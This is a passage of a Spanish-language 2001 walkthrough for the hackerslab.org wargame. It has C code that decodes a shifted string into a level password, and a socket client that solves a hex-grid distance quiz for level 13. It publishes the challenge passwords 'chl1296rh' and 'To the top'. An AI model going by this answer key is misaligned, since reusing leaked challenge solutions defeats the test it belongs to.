	if( cadena[5] - 6 >= 32) {paso[2] = cadena[5] - 6;} else {paso[2] = cadena[5] - 6 + 93;}
	if( cadena[4] - 6 >= 32) {paso[1] = cadena[4] - 6;} else {paso[1] = cadena[4] - 6 + 93;}
	if( cadena[3] - 6 >= 32) {paso[0] = cadena[3] - 6;} else {paso[0] = cadena[3] - 6 + 93;}
	paso[8] = cadena[2];
	paso[7] = cadena[1];
	paso[6] = cadena[0];


	//Transferimos el resultado
	for (b=0;b<9;b++)
		{
		cadena[b]=paso[b];
		}

	// Visualizacion de la cadena resultante
	imprime();

	// Operaciones 5 casilla
	if( cadena[8] - 5 >= 32) {paso[4] = cadena[8] - 5;} else {paso[4] = cadena[8] - 5 +93;}
	if( cadena[7] - 5 >= 32) {paso[3] = cadena[7] - 5;} else {paso[3] = cadena[7] - 5 +93;}
	if( cadena[6] - 5 >= 32) {paso[2] = cadena[6] - 5;} else {paso[2] = cadena[6] - 5 +93;}
	if( cadena[5] - 5 >= 32) {paso[1] = cadena[5] - 5;} else {paso[1] = cadena[5] - 5 +93;}
	if( cadena[4] - 5 >= 32) {paso[0] = cadena[4] - 5;} else {paso[0] = cadena[4] - 5 +93;}
	paso[8] = cadena[3];
	paso[7] = cadena[2];
	paso[6] = cadena[1];
	paso[5] = cadena[0];

	//Transferimos el resultado
	for (b=0;b<9;b++)
		{
		cadena[b]=paso[b];
		}

	// Visualizacion de la cadena resultante
	imprime();

	// Operaciones 4 casilla
	if( cadena[8] - 4 >= 0) {paso[3] = cadena[8] - 4;} else {paso[3] = cadena[8] - 4 +93;}
	if( cadena[7] - 4 >= 0) {paso[2] = cadena[7] - 4;} else {paso[2] = cadena[7] - 4 +93;}
	if( cadena[6] - 4 >= 0) {paso[1] = cadena[6] - 4;} else {paso[1] = cadena[6] - 4 +93;}
	if( cadena[5] - 4 >= 0) {paso[0] = cadena[5] - 4;} else {paso[0] = cadena[5] - 4 +93;}
	paso[8] = cadena[4];
	paso[7] = cadena[3];
	paso[6] = cadena[2];
	paso[5] = cadena[1];
	paso[4] = cadena[0];

	//Transferimos el resultado
	for (b=0;b<9;b++)
		{
		cadena[b]=paso[b];
		}

	// Visualizacion de la cadena resultante
	imprime();
	// Operaciones 3 casilla
	if( cadena[8] - 3 >= 0) {paso[2] = cadena[8] - 3;} else {paso[2] = cadena[8] - 3 +93;}
	if( cadena[7] - 3 >= 0) {paso[1] = cadena[7] - 3;} else {paso[1] = cadena[7] - 3 +93;}
	if( cadena[6] - 3 >= 0) {paso[0] = cadena[6] - 3;} else {paso[0] = cadena[6] - 3 +93;}
	paso[8] = cadena[5];
	paso[7] = cadena[4];
	paso[6] = cadena[3];
	paso[5] = cadena[2];
	paso[4] = cadena[1];
	paso[3] = cadena[0];

	//Transferimos el resultado
	for (b=0;b<9;b++)
		{
		cadena[b]=paso[b];
		}

	// Visualizacion de la cadena resultante
	imprime();

	// Operaciones 2 casilla
	if( cadena[8] - 2 >= 0) {paso[1] = cadena[8] - 2;} else {paso[1] = cadena[8] - 2 +93;}
	if( cadena[7] - 2 >= 0) {paso[0] = cadena[7] - 2;} else {paso[0] = cadena[7] - 2 +93;}
	paso[8] = cadena[6];
	paso[7] = cadena[5];
	paso[6] = cadena[4];
	paso[5] = cadena[3];
	paso[4] = cadena[2];
	paso[3] = cadena[1];
	paso[2] = cadena[0];

	//Transferimos el resultado
	for (b=0;b<9;b++)
		{
		cadena[b]=paso[b];
		}

	// Visualizacion de la cadena resultante
	imprime();

	// Operaciones 1 casilla
	if( cadena[8] - 1 >= 0) {paso[0] = cadena[8] - 1;} else {paso[0] = cadena[8] - 1 +93;}
	paso[8] = cadena[7];
	paso[7] = cadena[6];
	paso[6] = cadena[5];
	paso[5] = cadena[4];
	paso[4] = cadena[3];
	paso[3] = cadena[2];
	paso[2] = cadena[1];
	paso[1] = cadena[0];

	//Transferimos el resultado
	for (b=0;b<9;b++)
		{
		cadena[b]=paso[b];
		}

	// Visualizacion de la cadena resultante
	imprime();


	} // Fin del bucle para 43 repeticiones

} 

-------------------------- CORTAR POR AQUI --------------------------------

Se que el codigo es algo bruto pero lo hice asi por controlarlo mejor, y los 
bucles eran jodidamente jodios, jejjejee.
una vez ejecutado esto fueron las ultimas lineas del resultado.
Cadena resultante:  :vlhos9:A
Cadena resultante:  jn45<:vlh
Cadena resultante:  6rhdjn45<
Cadena resultante:  1296rhdjn
Cadena resultante:  hl1296rhd
Cadena resultante:  chl1296rh
Y ahi tenemos la dichosa pass, jodia pero correcta.



				    ***************************
				    *	Como hacer el level13? *
				    ***************************

PRUEBA 14
telnet drill.hackerslab.org
login:level13
pass: chl1296rh

Texto Original:
Summary of problem:
Write a TCP/IP networking program. In order to solve the problem, it is 
essential that your program is generated by the server. After you receive a 
query and get a solution, send it back to the server program so that it can be 
transmitted to the client program. Solve the quiz three times. In this case, 
the protocol for communication between the two parties is given in the file 
ofprotocol.h. <http://www.hackerslab.org/eorg/fhz/proto.h> Then, if the 
query and reply exactly match each other 3 times, then you can get the password
for the next level.

Quiz Explanation:
The problem is to write a program that computes the distance, defined as the 
number of cells in a shortest path, between any pair of cells. For example, two 
maggots in cells 19 and 30 are 5 cells apart. One of the shortest paths 
connecting the two cells via the cells 19 ? 7 ? 6 ? 5 ? 15 ? 30, so you must 
move five times to adjacent cells to get from 19 to 30. 

You will receive points (query a and query b). Then you have to calculate the 
distance between the two points. After, send the distance back to the server. 
Repeat this procedure 3 times. When you successfully complete this task and 
all 3 answers are correct, then you will get the password for the next level. 
(The input consists of several lines, each containing two integers a and b (a,b
 10000), denoting numbers of cells )


Texto Traducido:
Resumen del problema: Escriba un programa del establecimiento de una red del 
TCP/IP. Para solucionar el problema, es esencial que su programa es generado 
por el servidor. Despues de que usted reciba una interrogacion y consiga una 
solucin, enviela de nuevo al programa del servidor para poderlo transmitir al 
programa del cliente. Solucione el concurso tres veces. En este caso, el 
protocolo para la comunicacin entre los dos partidos se da en el fichero 
ofprotocol.h. Entonces, si la interrogacin y contesta exactamente el 
emparejamiento 3 veces, despues usted puede conseguir la palabra de paso para 
el nivel siguiente. 

Explicacin Del Concurso: El problema es escribir un programa que compute la 
distancia, definido como el nmero de celulas en un camino mas corto, entre 
cualquier par de clulas. Por ejemplo, dos gusanos en las celulas 19 y 30 son 5
celulas aparte. Uno de los caminos mas cortos que conectan las dos celulas via 
las celulas 19? 7? 6? 5? 15? 30, asi que usted deben mover cinco veces a las 
celulas adyacentes de conseguir a partir del 19 a 30.

Usted recibira puntas (pregunte a y la interrogacion b). entonces usted tiene 
que calcular la distancia entre las dos puntas. Despues de, envie la distancia 
de nuevo al servidor. Relance este procedimiento 3 veces. 
Cuando usted termina con exito esta tarea y las 3 respuestas estan correctas, 
despues usted conseguira la palabra de paso para el nivel siguiente. 
(la entrada de informacion consiste en varias lineas, cada dos numeros enteros 
de a que contienen y b (a,b 2I 10000), denotando numeros de celulas) 

Aqui el fichero proto.h comentado en perfecto koreano. jejejjee
Es el protocolo a seguir en las conexiones y las estruturas usadas.

/************************************************** 
 * proto.h                                        *
 *                                                *
 *   author: jwseo                                *
 *                                                *
 *   üĿ Ŭ̾Ʈ  Ծ          *
 *                                                *
 *    quiz_checker            * 
 *   Ǯ̸  ̿ڿ Ǿ.     *
 **************************************************/

#define SERVER_PORT 100 /*  Ʈ ȣ */

#define QUERY_CHALLENGE 0
#define QUERY_CORRECT 1
#define QUERY_INCORRECT 2

/* üĿ   Ŭ̾Ʈ  challenge */
struct query_type {
    int flag; /* 0-challenge, 1-correct, 2-wrong */ 
    int query_a; /*  ȣ a */
    int query_b; /*  ȣ b */
    char next_pass[30]; /* flag  1 츸 ä */
};
typedef struct query_type t_query;

/*   Ŭ̾Ʈ üĿ ϴ answer */
struct reply_type {
    char current_pass[30]; /*  ܰ  н带 Ѵ. */
    int answer; /*  Ǯ  (a b Ÿ)*/
};
typedef struct reply_type t_reply;


		<Ripe: a b  üĿ 1 ϴ> 

Ahora a ver si nos entendemos. :))

En principio crearemos un programa de tales dimensiones, debe tener conexion 
via socket usando como medio de transporte las estructuras que estos koreanos 
nos dan. Y a la vez debe de calcular las distancias entre casillas tirando por 
el camino mas corto. Espero que al menos hayais mirado la web donde salen 
dibujitos sobre el tema de las casillas, como van creandose y los pasos a 
seguir para comunicarse. Despues de 4 dias intensivos, he conseguido hacer la 
funcion que calcula las distancias y el mecanismo de conexion con 
drill.hackerslab.org por el puerto 100. El programa en si me llevo varios dias,
el motivo es porque era dificil dar en el clavo usando una funcion matematica. 
Como yo no soy matematico pedi ayuda a unos conocidos matematicos y hasta el 
dia de hoy no he recibido contestacion, jejejjejeje.
Pues como yo soy algo cabezota, estube probando infinidad de ideas las cuales 
se acercaban pero no llegaban a funcionar cuando metia numeros de dimensiones 
grandes. 
Al final inniyah (una amiga de irc) me dio una idea la cual lleve a su prueba.
La idea consistia en cortar con lineas horizontales y verticales todas las 
casillas, de forma de poder ver las lineas horizontales y verticales que 
existian entre las casillas. Asi que hice una funcion que sumaba y restaba 
coordenadas al movimiento de mi bucle, de forma que durante el bucle yo partia 
desde el centro y a medida que iba dando vueltas fui guardando datos donde me 
daba al final, la capa en la que estaba el numero y su desplazamiento, osea la 
casilla enque terminaba.
Cuando consegui eso, pues aplique otra nueva tecnica la cual partiendo desde 0 
tambien me daria las coordenadas x e y de cada numero respecto al centro.
Despues tan solo me quedaba restar las distancias entre ambas coordenadas y 
meter las 3 diferentes posibilidades que podian darse dependiendo si x1 era 
menor de x2 y vicebersa.

He aqui el listado de mi querido codigo.

-------------------------- CORTAR POR AQUI --------------------------------

/*********************************************************************************/
/* cliente.c                                                                     */
/* Envio y recibo de mensajes con calculo de distancias, para hackerslab level13 */
/* By Jafar 2001                                                                 */
/*********************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <math.h>

#include "comun.h"
#include "proto.h"
int respuesta;

int calcula(int origen, int destino)
{
 int capa1,capa2,bucle,contador,despla,despla1,despla2,total;
 int x1,x2,y1,y2,xdis,ydis;
 total=1;
 bucle=2;
 contador=0;
 despla=0;
 
 /* miramos en que plano esta el dato1 y dato2 con sus desplazamientos */
 for(;;)
	{
	if (contador == 6*total){
				   	total++;
					despla=0;
					contador=0;
			   	   }
	if (bucle == origen) {
					capa1=total;
					despla1=despla;
			         }
	if(bucle == destino){
					capa2=total;
					despla2=despla;
					break;
			        }
	bucle++;
	despla++;
      contador++;
	}
	// Calculos de las posiciones en el espacio sin desplazamientos
	if(capa1>1){x1=capa1-1;}else x1=0;
	y1=-1-capa1;
	if(capa2>1){x2=capa2-1;}else x2=0;
	y2=-1-capa2;
	// Ahora calcularemos los desplazamientos del objetivo 1
	if(despla1>0) // Bajada diagonal izquierda
	{
		for(bucle=0;bucle<capa1-1;bucle++)
		{
		if(bucle==despla1)break;
		x1--;
		y1--;
		}
	}
	if(despla1>=capa1) // Subida diagonal izquierda
	{
		for(bucle=capa1-1;bucle<(capa1*2)-1;bucle++)
		{
		if(bucle==despla1)break;
		x1--;
		y1++;
		}
	}
	if(despla1>=capa1*2) // Subida vertical
	{
		for(bucle=(capa1*2)-1;bucle<(capa1*3)-1;bucle++)
		{
		if(bucle==despla1)break;
		y1=y1+2;
		}
	}
	if(despla1>=capa1*3) // Subida diagonal derecha
	{
		for(bucle=(capa1*3)-1;bucle<(capa1*4)-1;bucle++)
		{
		if(bucle==despla1)break;
		x1++;
		y1++;
		}
	}
	if(despla1>=capa1*4) // Bajada diagonal derecha
	{
		for(bucle=(capa1*4)-1;bucle<(capa1*5)-1;bucle++)
		{
		if(bucle==despla1)break;
		x1++;
		y1--;
		}
	}
	if(despla1>=capa1*5) // Bajada vertical
	{
		for(bucle=(capa1*5)-1;bucle<despla1;bucle++)
		{
		y1=y1-2;
		}
	}

	// Ahora calcularemos los desplazamientos del objetivo 2
	if(despla2>0) // Bajada diagonal izquierda
	{
		for(bucle=0;bucle<capa2-1;bucle++)
		{
		if(bucle==despla2)break;
		x2--;
		y2--;
		}
	}
	if(despla2>=capa2) // Subida diagonal izquierda
	{
		for(bucle=capa2-1;bucle<(capa2*2)-1;bucle++)
		{
		if(bucle==despla2)break;
		x2--;
		y2++;
		}
	}
	if(despla2>=capa2*2) // Subida vertical
	{
		for(bucle=(capa2*2)-1;bucle<(capa2*3)-1;bucle++)
		{
		if(bucle==despla2)break;
		y2=y2+2;
		}
	}
	if(despla2>=capa2*3) // Subida diagonal derecha
	{
		for(bucle=(capa2*3)-1;bucle<(capa2*4)-1;bucle++)
		{
		if(bucle==despla2)break;
		x2++;
		y2++;
		}
	}
	if(despla2>=capa2*4) // Bajada diagonal derecha
	{
		for(bucle=(capa2*4)-1;bucle<(capa2*5)-1;bucle++)
		{
		if(bucle==despla2)break;
		x2++;
		y2--;
		}
	}
	if(despla2>=capa2*5) // Bajada vertical
	{
		for(bucle=(capa2*5)-1;bucle<despla2;bucle++)
		{
		y2=y2-2;
		}
	}
	// Ahora hacemos los calculos pertinentes para la distancia x e y
	if(x1==x2)xdis=0;
	if(y1==y2)ydis=0;
	//Ajustamos las diferencias en X
	if(x1>x2)
	{
		if(x1<0)
		{
			xdis=abs(x1)-abs(x2);
		}
		if(x1>=0)
		{
			if(x2>=0) xdis=abs(x1)-abs(x2);
			if(x2< 0) xdis=abs(x1)+abs(x2);
		}
	}
	if(x2>x1)
	{
		if(x2<0)
		{
			xdis=abs(x2)-abs(x1);
		}
		if(x2>=0)
		{
			if(x1>=0) xdis=abs(x2)-abs(x1);
			if(x1< 0) xdis=abs(x2)+abs(x1);
		}
	}
	//Ajustamos las diferencias en Y
	if(y1>y2)
	{
		if(y1<0)
		{
			ydis=abs(y1)-abs(y2);
		}
		if(y1>=0)
		{
			if(y2>=0) ydis=abs(y1)-abs(y2);
			if(y2< 0) ydis=abs(y1)+abs(y2);
		}
	}
	if(y2>y1)
	{
		if(y2<0)
		{
			ydis=abs(y2)-abs(y1);
		}
		if(y2>=0)
		{
			if(y1>=0) ydis=abs(y2)-abs(y1);
			if(y1< 0) ydis=abs(y2)+abs(y1);
		}
	}
	// Ahora veremos que tipo de distancia tenemos para calcular el tema
	// Primer caso
	if(abs(xdis)>=abs(ydis) && xdis != 0)
	{
	respuesta=abs(xdis);
	}
	//segundo caso
	else if(xdis==0)
	{
	respuesta=abs(ydis)/2;
	}
	else
	// Tercer caso
	{
	respuesta=abs(xdis)+((abs(ydis)-abs(xdis))/2);
	} 

      printf("x1: %d \n", x1);
      printf("y1: %d \n", y1);
      printf("capa1: %d \n", capa1);
      printf("desplazamiento 1: %d \n", despla1);
      printf("x2: %d \n", x2);
      printf("y2: %d \n", y2);
      printf("capa2: %d \n", capa2);
      printf("desplazamiento 2: %d \n", despla2);
      printf("xdis: %d \n", xdis);
      printf("ydis: %d \n", ydis);
      printf("distancia: %d \n", respuesta);
}


int abre_socket(hostname, port)
  char *hostname;
  int port;
{
  int skt;
  struct sockaddr_in sktin;
  struct hostent *host; 

  /* crea el socket, si da error, acaba el programa */
  if ( (skt = socket( AF_INET , SOCK_STREAM , 0 /* protocol */)) < 0)
    { fprintf(stderr,
         "* ERROR : No se ha podido crear el socket (pid=%d)\n",getpid());
       exit(-1); /* termina el programa: ERROR */
    }

  /* nombra el socket */
  memset(&sktin, 0, sizeof(sktin)); /* rellena con el valor 0 */
  sktin.sin_family = AF_INET;

  /* asigna el puerto a donde nos conectaremos */
  sktin.sin_port = htons(port);

  /* pasa el nombre del host a direccion IP */
  /* direccion logica */
  if (host = gethostbyname(hostname))
    memcpy(&sktin.sin_addr, host->h_addr, host->h_length);
  /* decimales separados por puntos: direccion numerica */
  else if ((sktin.sin_addr.s_addr = inet_addr(hostname)) < 0 )
    { fprintf(stderr,
         "* ERROR : No conozco el host %s (pid=%d)\n" ,
         hostname , getpid());
       exit(-1); /* termina el programa: ERROR */
    }

  /*  conectar el socket */
  if (connect(skt, (struct sockaddr *)&sktin, sizeof(sktin)) < 0 )
    { fprintf(stderr,
         "* ERROR : No consigo conectar con el host %s:%d (pid=%d)\n" ,
         hostname , port, getpid());
       exit(-1); /* termina el programa: ERROR */
    }
  return (skt);
}

int main(argc,argv,envp)
  int argc;
  char *argv, *envp;
{
  int skt, bufpos,bucle,paquete;
  char buf[TAM_BUFFER];
  // Estructuras para hackerslab
  t_query recibo; // usada para datos recibidos del servidor
  t_reply mando;  // usada para mandar respuestas
  /* abre el socket */
  skt=abre_socket(SERVERHOST, SERVERPORT);
  // Password Actual
  strcpy(mando.current_pass,"chl1296rh");


  /* proceso central */
  for(paquete=1;paquete<4;paquete++)
  {
  /* recepcion del primer paquete */
  if ((bufpos=read(skt, &recibo, sizeof(recibo))) < 0)
    { fprintf(stderr,
         "* ERROR : No consigo leer del socket %d (pid=%d)\n" ,
         skt , getpid());
    }
  else 
      { 
		printf("Paquete recibido de hackerslab \n");
		printf("------------------------------ \n");
		printf("flag: %d \n", recibo.flag);
		printf("origen: %d \n", recibo.query_a);
		printf("destino: %d \n", recibo.query_b);
		printf("Password siguiente: %s \n",recibo.next_pass);
		printf("------------------------------ \n \n");
     } 
   if(recibo.flag==2)
   {
	printf("-------------------------------- \n");
	printf("Respuesta al paquete %d fallada\n",paquete-1);
	printf("-------------------------------- \n");
  	/* cierra el socket */
  	if (close(skt) < 0)
    	{ 
	fprintf(stderr,"* ERROR : Al cerrar el socket %d (pid=%d)\n" ,skt , getpid());
      exit(-1); /* termina el programa: ERROR */
      }

      /* termina el programa: OK */
      return 0;
   }

  /* Hacemos la solucion a la pregunta */
    printf("Calculando respuesta %d .... \n \n",paquete);
    respuesta=0;
    if(recibo.query_b > recibo.query_a)calcula(recibo.query_a, recibo.query_b);
    if(recibo.query_a > recibo.query_b)calcula(recibo.query_b, recibo.query_a);
  
  /* mandamos la primera respuesta */
   printf("Mandando paquete %d .... \n \n",paquete);
   mando.answer= respuesta;

  if (write(skt,&mando,sizeof(mando)) < 0)
    { fprintf(stderr,
         "* ERROR : No consigo escribir en el socket %d (pid=%d)\n" ,
         skt , getpid());
	printf(" Error numero %d \n", skt);
    }
  else 
      { 
		printf("Paquete mandado a hackerslab \n");
		printf("------------------------------ \n");
		printf("Respuesta: %d \n", mando.answer);
		printf("Password actual: %s \n",mando.current_pass);
		printf("------------------------------ \n \n");
 		printf("En espera recibir paquete %d .... \n \n",paquete);
     } 

  } // Fin del Bucle de 3 envios

  /* recepcion del paquete final con el password */
  if ((bufpos=read(skt, &recibo, sizeof(recibo))) < 0)
    { fprintf(stderr,
         "* ERROR : No consigo leer del socket %d (pid=%d)\n" ,
         skt , getpid());
    }
  else 
      { 
		printf("Paquete recibido de hackerslab \n");
		printf("------------------------------ \n");
		printf("flag: %d \n", recibo.flag);
		printf("origen: %d \n", recibo.query_a);
		printf("destino: %d \n", recibo.query_b);
		printf("Password siguiente: %s \n",recibo.next_pass);
		printf("------------------------------ \n \n");
     } 

  /* cierra el socket */
  if (close(skt) < 0)
    { fprintf(stderr,
         "* ERROR : Al cerrar el socket %d (pid=%d)\n" ,
         skt , getpid());
       exit(-1); /* termina el programa: ERROR */
    }

  /* termina el programa: OK */
  return 0;
}

-------------------------- CORTAR POR AQUI --------------------------------

Y listo, tenemos el programa asi que manos a la obra, conectamos, llamamos a la
aplicacion:
./cliente > resultado
asi veremos el texto durante el proceso y..............

Paquete recibido de hackerslab 
------------------------------ 
flag: 0 
origen: 2598 
destino: 8021 
Password siguiente:  
------------------------------ 
 
Calculando respuesta 1 .... 
 
x1: 29 
y1: -3 
capa1: 29 
desplazamiento 1: 160 
x2: -12 
y2: -92 
capa2: 52 
desplazamiento 2: 63 
xdis: 41 
ydis: -89 
distancia: 65 
Mandando paquete 1 .... 
 
Paquete mandado a hackerslab 
------------------------------ 
Respuesta: 65 
Password actual: chl1296rh 
------------------------------ 
 
En espera recibir paquete 1 .... 
 
Paquete recibido de hackerslab 
------------------------------ 
flag: 0 
origen: 3383 
destino: 1416 
Password siguiente:  
------------------------------ 
 
Calculando respuesta 2 .... 
 
x1: -7 
y1: -37 
capa1: 22 
desplazamiento 1: 28 
x2: 18 
y2: -50 
capa2: 34 
desplazamiento 2: 15 
xdis: 25 
ydis: -13 
distancia: 25 
Mandando paquete 2 .... 
 
Paquete mandado a hackerslab 
------------------------------ 
Respuesta: 25 
Password actual: chl1296rh 
------------------------------ 
 
En espera recibir paquete 2 .... 
 
Paquete recibido de hackerslab 
------------------------------ 
flag: 0 
origen: 2810 
destino: 1856 
Password siguiente:  
------------------------------ 
 
Calculando respuesta 3 .... 
 
x1: -25 
y1: -15 
capa1: 25 
desplazamiento 1: 54 
x2: 12 
y2: -50 
capa2: 31 
desplazamiento 2: 18 
xdis: 37 
ydis: -35 
distancia: 37 
Mandando paquete 3 .... 
 
Paquete mandado a hackerslab 
------------------------------ 
Respuesta: 37 
Password actual: chl1296rh 
------------------------------ 
 
En espera recibir paquete 3 .... 
 
Paquete recibido de hackerslab 
------------------------------ 
flag: 1 
origen: 0 
destino: 0 
Password siguiente: To the top 
------------------------------ 
Eh bualaaaaaaaaaaa, ahi tenemos la pass para el ultimo level.
al final aqui esta mi registro que quedo en hackerslab hasta que al koreano le 
toque los webos y los borre todos, jajajjaa

552  jafar  2000-12-27  09:39:15  2001-02-14 23:56:06  14

Bueno, adios a todos, espero que os haya servido de algo mi documento, tb 
espero que no seais demasiados crueles si meti alguna pifia mientras redacte el
documento y tan solo os pido que sean buenos y no dejen de jugar a todo lo que 
puedan.

										Jafar 2001 rootering@yupimail.com

*EOF*
